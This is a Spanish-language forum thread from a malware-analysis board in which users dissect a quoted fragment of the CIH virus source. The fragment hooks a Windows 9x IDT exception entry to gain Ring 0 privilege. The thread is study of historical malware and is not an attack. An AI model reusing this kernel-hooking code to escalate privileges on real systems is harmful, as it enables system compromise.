elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Obtencion de Ring 0 por parte del virus CIH en Windows 9x.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Obtencion de Ring 0 por parte del virus CIH en Windows 9x.  (Leído 2,522 veces)
Usuario887


Desconectado Desconectado

Mensajes: 310


Ver Perfil
Obtencion de Ring 0 por parte del virus CIH en Windows 9x.
« en: 7 Agosto 2020, 12:25 pm »

Hola,
Hace poco descargue el codigo fuente del virus CIH para entenderlo, pues me parece interesante. Sin embargo me encontre con una parte de el que no entiendo muy bien, como era de esperarse...

Código
  1. ; *************************************
  2. ; * Let's Modify *
  3. ; * IDT(Interrupt Descriptor Table) *
  4. ; * to Get Ring0 Privilege... *
  5. ; *************************************
  6.  
  7. push eax ;
  8. sidt [esp-02h] ; Get IDT Base Address
  9. pop ebx ;
  10.  
  11. add ebx, HookExceptionNumber*08h+04h ; ZF = 0
  12.  
  13. cli
  14.  
  15. mov ebp, [ebx] ; Get Exception Base
  16. mov bp, [ebx-04h] ; Entry Point
  17.  
  18. lea esi, MyExceptionHook-@1[ecx]
  19.  
  20. push esi
  21.  
  22. mov [ebx-04h], si ;
  23. shr esi, 16 ; Modify Exception
  24. mov [ebx+02h], si ; Entry Point Address
  25.  
  26. pop esi

El comentario es bastante descriptivo. Sin duda suficiente para entender el objetivo, sin embargo el medio en si que utiliza en toda profundidad no lo entiendo plenamente:

Código
  1. push eax ;
  2. sidt [esp-02h] ; Get IDT Base Address
  3. pop ebx ;
Aparentemente esta metiendo a EAX en la pila para luego, en sidt [esp-02h], introducir la base de la IDT en EBX pero, ¿por que resta 2? ¿no deberia mas bien sumar 4? recordemos que los valores en la medida que son antiguos en la pila, se encuentran en posiciones de memoria mas altas y, en este caso, hablando de un registro de 4 bytes, precisamente 4 posiciones mas alto.

Código
  1. mov ebp, [ebx] ; Get Exception Base
  2. mov bp, [ebx-04h] ; Entry Point
Esto no es nada evidente para mi. ¿Mueve, aparentemente, el Entry Point del IDT HookExceptionNumber a ebp, y luego lo que sea que se encuentre 4 bytes antes del mismo en los 16 bits menos significativos de EBP? ¿que sentido tiene?

Código
  1. lea esi, MyExceptionHook-@1[ecx]
Ahora, mas evidentemente mueve el desplazamiento del hook a ESI. Sin embargo, ¿que es -@1[ecx]? ¿alguna forma de relocalizacion? No lo entiendo en absoluto. Aun no he aprendido esa sintaxis... ¿alguien tiene idea de al menos como se llama?

Código
  1. mov [ebx-04h], si ;
  2. shr esi, 16 ; Modify Exception
  3. mov [ebx+02h], si ; Entry Point Address
Mueve a esa misteriosa direccion (EBX-04) el desplazamiento antes mencionado... ¿alguien tiene idea de que hay en los anteriores 4 bytes a un IDT? (evidentemente otro IDT, pero la pregunta es ironica, quiero decir, ¿alguien sabe por que?)

Eso es todo... estoy un poco enredado.
Saludos.
En línea

BloodSharp


Desconectado Desconectado

Mensajes: 804


El Messi-Vegeta :D


Ver Perfil
Re: Obtencion de Ring 0 por parte del virus CIH en Windows 9x.
« Respuesta #1 en: 7 Agosto 2020, 18:46 pm »

Hola,
Hace poco descargue el codigo fuente del virus CIH para entenderlo, pues me parece interesante. Sin embargo me encontre con una parte de el que no entiendo muy bien, como era de esperarse...

Código
  1. ; *************************************
  2. ; * Let's Modify *
  3. ; * IDT(Interrupt Descriptor Table) *
  4. ; * to Get Ring0 Privilege... *
  5. ; *************************************
  6.  
  7. push eax ;
  8. sidt [esp-02h] ; Get IDT Base Address
  9. pop ebx ;
  10.  
  11. add ebx, HookExceptionNumber*08h+04h ; ZF = 0
  12.  
  13. cli
  14.  
  15. mov ebp, [ebx] ; Get Exception Base
  16. mov bp, [ebx-04h] ; Entry Point
  17.  
  18. lea esi, MyExceptionHook-@1[ecx]
  19.  
  20. push esi
  21.  
  22. mov [ebx-04h], si ;
  23. shr esi, 16 ; Modify Exception
  24. mov [ebx+02h], si ; Entry Point Address
  25.  
  26. pop esi

Nooooo que nostalgia, este código lo que hace es hookear el manejador de la interrupción en kernel mode de 32 bits...

Código
  1. push eax ;
  2. sidt [esp-02h] ; Get IDT Base Address
  3. pop ebx ;
  4.  
  5. add ebx, HookExceptionNumber*08h+04h ; ZF = 0

Lo que hace es obtener el puntero a la estructura de IDT y luego añadir el offset de la interrupción deseada (HookExceptionNumber) para llegar a la subestructura de la interrupción.

Código
  1. cli
Deshabilita las interrupciones si mal no recuerdo, eso es para poder escribir en sectores importantes como la IDT... En algun momento debe rehabilitar con la instrucción sti...

Código
  1. mov ebp, [ebx] ; Get Exception Base
  2. mov bp, [ebx-04h] ; Entry Point
  3.  
Ni idea porque hace eso exactamente...

Código
  1. lea esi, MyExceptionHook-@1[ecx]
  2.  
  3. push esi
  4.  
  5. mov [ebx-04h], si ;
  6. shr esi, 16 ; Modify Exception
  7. mov [ebx+02h], si ; Entry Point Address
  8.  
  9. pop esi

Obtiene la dirección del manejador MyExceptionHook y la inserta en la tabla Descriptor de la interrupción si mal no recuerdo, esa instrucción
Código
  1. shr
es un desplazamiento de bits para agregarla la mitad en una zona del descriptor, finalmente la otra mitad en iba en otra zona.

En castellano lo que hace esto es como un API Hooking de una interrupción, había un libro viejazo llamado Rootkits Subverting the Windows Kernel donde había un ejemplo completo hecho en C y assembler... Seguramente por internet debe haber un pdf o chm filtrado de ese libro. :silbar:


B#
En línea



Usuario887


Desconectado Desconectado

Mensajes: 310


Ver Perfil
Re: Obtencion de Ring 0 por parte del virus CIH en Windows 9x.
« Respuesta #2 en: 9 Agosto 2020, 14:36 pm »

Lo que hace es obtener el puntero a la estructura de IDT y luego añadir el offset de la interrupción deseada (HookExceptionNumber) para llegar a la subestructura de la interrupción.

Claro... pero, ¿no te paree curioso que añada 4 sin razon alguna?:
Código
  1. add ebx, HookExceptionNumber*08h+04h
Tienes la base de la IDT en EBX. Le sumas cuantas IDTs hayan en el camino hasta el descriptor objetivo (cuantia que se expresa como HookExceptionNumber*8) y ya esta; no es necesario sumar 4. A partir de aqui comienza mi confusion.

Saludos.
« Última modificación: 9 Agosto 2020, 14:38 pm por marax » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines